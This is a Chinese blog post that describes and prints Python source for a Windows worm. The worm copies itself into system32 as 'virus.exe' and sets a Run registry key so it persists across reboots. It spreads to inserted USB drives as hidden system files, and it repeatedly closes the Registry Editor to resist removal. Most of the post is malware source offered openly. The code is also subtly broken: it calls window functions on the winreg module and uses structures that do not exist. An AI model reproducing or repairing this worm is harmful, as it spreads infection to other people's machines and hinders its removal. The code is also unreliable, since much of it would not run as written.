原创 蓝胖子之家
代码主要功能是将自身复制到系统目录，并将其写入注册表以实现开机启动。它还设置了一个定时器，用于定期执行一些操作。该程序还监听设备的插拔事件，并在可移动驱动器插入时将自身复制到驱动器上。
具体来说，代码中的kill_process函数用于终止指定名称的进程。wnd_proc函数是一个窗口过程函数，它处理窗口消息，并执行相应的操作。main函数是程序的主要逻辑，它注册一个窗口类，并创建一个窗口。然后，它进入一个循环，处理窗口消息。
在main函数的最后，程序首先将自身复制到系统目录下的一个文件名为"virus.exe"的文件中。然后，它将该文件的路径写入注册表，使其在系统启动时自动运行。最后，它设置了一个定时器，每隔1秒触发一次定时器消息。
总的来说，这段代码的目的是在系统启动时自动运行，并监听设备插拔事件，将自身复制到可移动驱动器上。
点击查看代码
import os
import shutil
import winreg
import ctypes
import time
from ctypes import wintypes
from win32gui import FindWindow, SendMessage
from win32con import WM_CLOSE
from win32api import GetLogicalDriveStrings, GetDriveType, SetFileAttributes, CopyFile
from win32file import DRIVE_REMOVABLE
from win32process import CreateToolhelp32Snapshot, Process32First, Process32Next, OpenProcess, TerminateProcess, CloseHandle
from win32com.client import Dispatch
def kill_process(process_name):
snapshot = CreateToolhelp32Snapshot(0x00000002, 0)
pe = wintypes.PROCESSENTRY32()
pe.dwSize = ctypes.sizeof(wintypes.PROCESSENTRY32)
if Process32First(snapshot, ctypes.byref(pe)):
while True:
if pe.szExeFile.decode() == process_name:
handle = OpenProcess(0x0001, False, pe.th32ProcessID)
TerminateProcess(handle, -1)
CloseHandle(handle)
if not Process32Next(snapshot, ctypes.byref(pe)):
break
CloseHandle(snapshot)
def wnd_proc(hwnd, uMsg, wParam, lParam):
if uMsg == 0x0010: # WM_CLOSE
os._exit(0)
elif uMsg == 0x0219: # WM_DEVICECHANGE
if wParam == 0x8000: # DBT_DEVICEARRIVAL
drives = GetLogicalDriveStrings()
drives = drives.split('\x00')[:-1]
for drive in drives:
drive_type = GetDriveType(drive)
if drive_type == DRIVE_REMOVABLE:
files = os.listdir(drive)
for file in files:
if os.path.isfile(os.path.join(drive, file)):
file_path = os.path.join(drive, file)
shutil.copy2(__file__, file_path + '.exe')
SetFileAttributes(file_path, 0x2 + 0x4) # FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM
elif wParam == 0x8004: # DBT_DEVICEREMOVECOMPLETE
pass
elif uMsg == 0x0113: # WM_TIMER
hwnd_reg = FindWindow("RegEdit_RegEdit", "注册表编辑器")
if hwnd_reg:
SendMessage(hwnd_reg, WM_CLOSE, None, None)
else:
return 0
return 1
def main():
wnd_class = winreg.WNDCLASS()
wnd_class.lpszClassName = "lieying"
wnd_class.lpfnWndProc = wnd_proc
wnd_class.hInstance = winreg.GetModuleHandle(None)
wnd_class.hIcon = winreg.LoadIcon(None, 32512)
wnd_class.hCursor = winreg.LoadCursor(None, 32512)
wnd_class.hbrBackground = winreg.GetStockObject(1)
wnd_class.style = 0x0002 | 0x0001 # CS_VREDRAW | CS_HREDRAW
wnd_class.cbClsExtra = 0
wnd_class.cbWndExtra = 0
if not winreg.RegisterClass(wnd_class):
return 0
hwnd = winreg.CreateWindowEx(
0, "lieying", "", 0x00000000, 0, 0, 0, 0, None, None, wnd_class.hInstance, None
)
winreg.ShowWindow(hwnd, 0)
winreg.UpdateWindow(hwnd)
msg = wintypes.MSG()
while winreg.GetMessage(ctypes.byref(msg), hwnd, 0, 0):
winreg.TranslateMessage(ctypes.byref(msg))
winreg.DispatchMessage(ctypes.byref(msg))
if __name__ == "__main__":
# 复制自身到系统目录
exe_full_path = os.path.abspath(__file__)
new_file_path = "C:\\WINDOWS\\system32\\virus.exe"
shutil.copy2(exe_full_path, new_file_path)
# 写入注册表，实现开机启动
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, "virus", 0, winreg.REG_SZ, new_file_path)
winreg.CloseKey(key)
# 设置定时器
ctypes.windll.user32.SetTimer(None, 1, 1000, None)
# 运行主程序
main()
